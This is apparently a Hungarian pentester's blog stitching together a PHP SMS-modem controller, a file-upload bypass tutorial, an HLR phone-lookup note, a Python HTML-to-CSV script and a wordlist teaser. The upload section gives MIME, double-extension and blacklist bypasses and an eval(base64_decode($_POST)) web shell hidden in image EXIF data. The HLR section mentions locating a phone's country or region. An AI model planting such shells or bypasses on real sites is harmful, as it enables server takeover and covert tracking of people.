SM. It refers to the message storage area on the SIM card.
ME. It refers to the message storage area on the GSM/GPRS modem or mobile phone.
MT. It refers to all message storage areas associated with the GSM/GPRS modem or mobile phone. For example, suppose a mobile phone can access two message storage areas: "SM" and "ME". The "MT" message storage area refers to the "SM" message storage area and the "ME" message storage area combined together.
BM. It refers to the broadcast message storage area. It is used to store cell broadcast messages.
SR. It refers to the status report message storage area. It is used to store status reports.
TA. It refers to the terminal adaptor message storage area.
Forrás : http://www.developershome.com/sms/cpmsCommand.asp
*/

$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMGL=\"ALL\"\n");
$msg = $this->serial->readPort();
$this->msg .= $msg;
return $this->MsgToArray($msg);
}

public function MsgToArray($msg){

$tmp = explode('+CMGL: ',$msg);

$pat = '#(\d+),"([^"]+)","([^"]+)",([^,]*),"([^"]+)"\s(.*)#s';
$x=0;
foreach ($tmp as $sms){
preg_match($pat,$sms,$mat);
$remsg[$x]['id'] = $mat[1];
$remsg[$x]['from'] = $mat[3];
$remsg[$x]['time'] = strtotime($mat[5]);
//GSM7 encoded fuked up de nincs iconv support hozza.
$remsg[$x]['msg'] = $mat[6];
$x++;
}
return $remsg;
}



public function DeleteAll(){
$this->serial->sendMessage("AT\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CPMS=MT\n");
$this->serial->sendMessage("AT+CMGD=1,4\n");
$this->msg .= $this->serial->readPort();
}


}

?>

contoller :)

<?php
require_once "sms.class.php";
$sms = new SMS("/dev/ttyACM0"); // Itt kell beállítani a COM portot

$do = $_GET['do'];

switch ($do){

    case 'list':
    echo serialize($sms->GetSMS());
    break;

    case 'send':
    $sms->SendSMS($_GET['to'],$_GET['msg']);
    echo '<pre>'.$sms->msg;
    break;

    case 'delete':
    $sms->DeleteAll();
    echo '<pre>'.$sms->msg;
    break; 

}

A teljes forráskód itt letölthető :

SMS.zip

Eléggé BETA a megoldás de a célnak megfelel, run.php?do=list vissza adja az összes SMS üzenetet ami a készüléken található, a run.php?do=send&to0036201234567&msg=test uzenet eküld egy üzenetet valamit a run.php?do=delete törli az összes SMS-t.

Nincsen benne “UTF-8″ támogatás nem találtam GSM7 UTF8 [hu] encodert talán majd beépítik az libiconv-be egy napon.

Az interneten rengeteg helyen megtaláljuk az AT comman set et és kedvünkre kísérletezgethetünk, pl elolvashatjuk az SMS értesítőket így megtudhatjuk, hogy célba ért e az SMS, ha több ezer netán több tízezer SMS-t szeretnénk kiküldeni akkor érdemes az előtt egy HRL lookup

PHP + Heidi Klum

Ma már szinte mindenhol találkozunk olyan weboldalakkal amelyek lehetőséget adnak fileok feltöltésére, legyen az egy blogmotor, webshop, képgaléria stb. A “pentester” szempontjából a file-kezelés mindig egy érdekes terület.

Mindig is akartam egy filecsomagot amivel tesztelhetek egy file-kezelést, és most végre össze is raktam Heidi Klum segítségével.

Programozói hibák.

#1 $_FILES["file"]["type"] avagy MIME TYPE :

Nagyon sok programozó nincsen tisztában a http protokollal és azt hiszi, hogy a ["type"] értéket valahogyan a szerver határozza meg, de valójában a kliens küldi ahogy a ["name"]-et is. (Itt még megemlíteném az “X-Forwarded-For” és társait amelyek egyszerű http headerek)

Nézzünk egy fileupload-ot:

Content-Type: multipart/form-data; boundary=----------16114279816074778979

Content-Length: 2417

----------16114279816074778979

Content-Disposition: form-data; name="feltolt_file"; filename="fenykep.jpg"

Content-Type: image/gif

$_FILES["feltolt_file"]["name"] = fenykep.jpg
$_FILES["feltolt_file"]["type"] = image/gif

Ezeket az értékeket tetszés szerint változtathatjuk tehát pl a filenév lehet \?*\/%.ext valamint feltölthetünk egy “php filet” image/jpeg type-al (lásd  http://0xff.org/ff-stuff/firefox-mime-type-change/) és a hatás nem marad el.

 

 

#2 .’.jpg’ .’.pdf’ .’.mp3′ avagy Double File Extensions.

Vannak programozók, akik tudják, hogy a MIME Type (Content Type nem megbízható ezért inkább a következő megoldást alkalmazzák:

move_uploaded_file($_FILES["feltolt_file"]["tmp_name"], basename($_FILES["userfile"]["name"])) . ‘.ext’)

ezzel csak az az egy gond van, hogy egyes szervereken (Apache {AddHandler} ) egy “valami.php.jpg” nevű file nagy valószínűséggel php kódként kerül “futtatásra” és a hatás nem szokott elmaradni.

 

 

#3 BlackList megközelítés avagy “-php”

Ugyancsak gyakori “megoldás” a file-ok kezelésénél, hogy a jobbik esetben a filename-ből kicserélik pl a ‘php’ részletet egy üres string-re

(pl: valami.php => valami { valami.phphpp => ;) })

vagy csak pusztán utolsó pont utáni stringet vetik össze egy fekete listával, és ha talál akkor nem “mentik el” a filet. Az kiterjesztés problémáját az elöbbi pontban már átnéztük, de ennek a módszernek nem ez a legfőbb problémája hanem maga a koncepció. Az esetek nagy hányadában ki lehet kerülni, olyan “egzotikus” kiterjesztésekkel mint pl : .php3 .php4 .php5 .phtml .py .shtml .html .htacces stb.

 

 

#4 getimagesize() avagy Heidi Klum.

Képek feltöltésénél találkozhatunk a getimagesize() függvénnyel, amelyet arra haszálnak, hogy megállapítsák, hogy egy file valójában kép-e valamint, hogy ellenőrizzék a méretét.

Ezt a megközelítést ki lehet játszani az exif el, és itt jön a képbe Heidi Klum, vegyünk egy palyload-ot mondjuk:

<?php eval(base64_decode($_POST['derf3423'])) ?&gt

és egy Heidi Klum fotót valamint egy exif editort (mvapi, ExifTool) és készen is vagyunk.

*a base64 kódolást azért érdemes használni, mert néha egyes WAF-ok kiakadnak egy “../../../” vagy egy “/etc/passwd” string-től és a legutolsó dolog amit akarunk az egy 5XX hibaüzenet.

Most-már sok változóval tudunk játszadozni :
- Contnent-Type
- File name
- Double extension
- Exif Data

+ Egyes oldalak pl csak jpg képet engednek feltölteni ami kisebb mind 50kb és max 120×120

Ezért raktam össze ezt a csomagot amiben megtalálható JPG PNG GIF képek különböző felbontásokban valamint egy HTML + JS alapú “Posterrel” meg némi extra fileokkal, így nem kell mindig újat csinálni méretezgetni átnevezni stb.
 
 

Letöltés: PHP_Heidi_Klum_files.tar.gz (23.5 MB)

 
 

HLR Lookup

Ezzel az eszközzel lekérhetjük egy “telefonszám” adatait a HLR-től (Home Location Register). Lehet hogy elsőre nem tűnik hasznosnak, azonban vannak esetek amikor nagyon nagy hasznát vehetjük, példának okáért egyszerűen kideríthetjük egy telefonszámról, hogy melyik szolgáltatóhoz van rendelve illetve hogy melyiket használja éppen, ha a sim kártya éppen külföldön van azt is megtudhatjuk, hogy mely országban, sőt egyes esetekben a MSC-ből ara is lehet következtetni, hogy melyik városban illetve régióban tartózkodik.

xHTML table to CSV

Találtam egy nagyon jó kis Python scriptet ami egy xHTML table-ből CSV-t generál, ami nagyon hasznos tud lenni néha így gondoltam megosztom.

Itt egy link : html2csv.py

És itt a kód ha történne vele valami:

#!/usr/bin/python
# -*- coding: iso-8859-1 -*-
# Hello, this program is written in Python - http://python.org
programname = 'html2csv - version 2002-09-20 - http://sebsauvage.net'

import sys, getopt, os.path, glob, HTMLParser, re

try:    import psyco ; psyco.jit()  # If present, use psyco to accelerate the program
except: pass

def usage(progname):
    ''' Display program usage. '''
    progname = os.path.split(progname)[1]
    if os.path.splitext(progname)[1] in ['.py','.pyc']: progname = 'python '+progname
    return '''%s
A coarse HTML tables to CSV (Comma-Separated Values) converter.

Syntax    : %s source.html

Arguments : source.html is the HTML file you want to convert to CSV.
            By default, the file will be converted to csv with the same
            name and the csv extension (source.html -> source.csv)
            You can use * and ?.

Examples   : %s mypage.html
           : %s *.html

This program is public domain.
Author : Sebastien SAUVAGE <sebsauvage at sebsauvage dot net>
         http://sebsauvage.net
'''
% (programname, progname, progname, progname)

class html2csv(HTMLParser.HTMLParser):
    ''' A basic parser which converts HTML tables into CSV.
        Feed HTML with feed(). Get CSV with getCSV(). (See example below.)
        All tables in HTML will be converted to CSV (in the order they occur
        in the HTML file).
        You can process very large HTML files by feeding this class with chunks
        of html while getting chunks of CSV by calling getCSV().
        Should handle badly formated html (missing <tr>, </tr>, </td>,
        extraneous </td>, </tr>...).
        This parser uses HTMLParser from the HTMLParser module,
        not HTMLParser from the htmllib module.
        Example: parser = html2csv()
                 parser.feed( open('mypage.html','rb').read() )
                 open('mytables.csv','w+b').write( parser.getCSV() )
        This class is public domain.
        Author: Sébastien SAUVAGE <sebsauvage at sebsauvage dot net>
                http://sebsauvage.net
        Versions:
           2002-09-19 : - First version
           2002-09-20 : - now uses HTMLParser.HTMLParser instead of htmllib.HTMLParser.
                        - now parses command-line.
        To do:
            - handle <PRE> tags
            - convert html entities (&name; and &#ref;) to Ascii.
            '''

    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.CSV = ''      # The CSV data
        self.CSVrow = ''   # The current CSV row beeing constructed from HTML
        self.inTD = 0      # Used to track if we are inside or outside a <TD>...</TD> tag.
        self.inTR = 0      # Used to track if we are inside or outside a <TR>...</TR> tag.
        self.re_multiplespaces = re.compile('\s+')  # regular expression used to remove spaces in excess
        self.rowCount = 0  # CSV output line counter.
    def handle_starttag(self, tag, attrs):
        if   tag == 'tr': self.start_tr()
        elif tag == 'td': self.start_td()
    def handle_endtag(self, tag):
        if   tag == 'tr': self.end_tr()
        elif tag == 'td': self.end_td()        
    def start_tr(self):
        if self.inTR: self.end_tr()  # <TR> implies </TR>
        self.inTR = 1
    def end_tr(self):
        if self.inTD: self.end_td()  # </TR> implies </TD>
        self.inTR = 0            
        if len(self.CSVrow) > 0:
            self.CSV += self.CSVrow[:-1]
            self.CSVrow = ''
        self.CSV += '\n'
        self.rowCount += 1
    def start_td(self):
        if not self.inTR: self.start_tr() # <TD> implies <TR>
        self.CSVrow += '"'
        self.inTD = 1
    def end_td(self):
        if self.inTD:
            self.CSVrow += '",'  
            self.inTD = 0
    def handle_data(self, data):
        if self.inTD:
            self.CSVrow += self.re_multiplespaces.sub(' ',data.replace('\t',' ').replace('\n','').replace('\r','').replace('"','""'))
    def getCSV(self,purge=False):
        ''' Get output CSV.
            If purge is true, getCSV() will return all remaining data,
            even if <td> or <tr> are not properly closed.
            (You would typically call getCSV with purge=True when you do not have
            any more HTML to feed and you suspect dirty HTML (unclosed tags). '''

        if purge and self.inTR: self.end_tr()  # This will also end_td and append last CSV row to output CSV.
        dataout = self.CSV[:]
        self.CSV = ''
        return dataout


if __name__ == "__main__":
    try: # Put getopt in place for future usage.
        opts, args = getopt.getopt(sys.argv[1:],None)
    except getopt.GetoptError:
        print usage(sys.argv[0])  # print help information and exit:
        sys.exit(2)
    if len(args) == 0:
        print usage(sys.argv[0])  # print help information and exit:
        sys.exit(2)      
    print programname
    html_files = glob.glob(args[0])
    for htmlfilename in html_files:
        outputfilename = os.path.splitext(htmlfilename)[0]+'.csv'
        parser = html2csv()
        print 'Reading %s, writing %s...' % (htmlfilename, outputfilename)
        try:
            htmlfile = open(htmlfilename, 'rb')
            csvfile = open( outputfilename, 'w+b')
            data = htmlfile.read(8192)
            while data:
                parser.feed( data )
                csvfile.write( parser.getCSV() )
                sys.stdout.write('%d CSV rows written.\r' % parser.rowCount)
                data = htmlfile.read(8192)
            csvfile.write( parser.getCSV(True) )
            csvfile.close()
            htmlfile.close()
        except:
            print 'Error converting %s        ' % htmlfilename
            try:    htmlfile.close()
            except: pass
            try:    csvfile.close()
            except: pass
    print 'All done.                                      '

Hogyan építsünk jelszó listát.

Ha valaki egy igazán nagy jelszólistát szeretne építeni akkor először el kezd keresgélni már kész listák után mint pl: Torrent vagy Inside PRO Word List ezeket valamilyen formában rendszerezi majd rádöbben, hogy az a sok sok GB kb 300 milió szót jelent csak, valamint nincsenek benne magyar karakterek valamint magyar szleng szavak mint pl kocsog és társai.

Ekkor el kezd gondolkozni valamiféle megoldáson, hogy az internetről talán valamilyen formában be lehetne ezeket a szavakat gyűjteni és belekezd valamiféle robotot és HTML parsert írni vagy éppen keresni, de a megoldás viszonylag egyszerű :

WGET + WYD

Folytatás